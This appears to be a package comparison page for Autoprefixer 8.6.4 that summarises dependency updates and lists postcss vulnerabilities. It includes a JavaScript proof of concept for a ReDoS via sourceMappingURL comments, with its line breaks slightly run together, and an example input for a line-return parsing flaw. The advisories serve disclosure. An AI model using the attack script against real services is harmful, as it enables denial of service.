Autoprefixer version 8.6.4 is a minor update to the popular CSS vendor prefixing tool, building upon the solid foundation of version 8.6.3. Both versions share the same core purpose: automatically parsing CSS and adding necessary vendor prefixes to ensure compatibility across various web browsers, guided by data from the Can I Use website. Developers can leverage Autoprefixer to write clean, standard CSS without worrying about the intricacies of browser-specific implementations.
The primary differences between the two versions lie in their dependency updates. Version 8.6.4 upgrades postcss from "^6.0.22" to "^6.0.23" and, more significantly, caniuse-lite from "^1.0.30000856" to "^1.0.30000859". This caniuse-lite update is particularly important as it reflects the latest browser compatibility data. By incorporating the newest information, Autoprefixer 8.6.4 provides developers with the most accurate and up-to-date prefixing, ensuring optimal cross-browser support. Additionally, unpacked size increased from 340511 to 341047, suggesting minor code or data additions. The release dates also indicate the newer version was released approximately a week after the previous one, meaning the changes are relatively small. For developers, upgrading to 8.6.4 is recommended to take advantage of the latest browser support data and minor improvements, resulting in a more robust and future-proof CSS implementation.
All the vulnerabilities related to the version 8.6.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.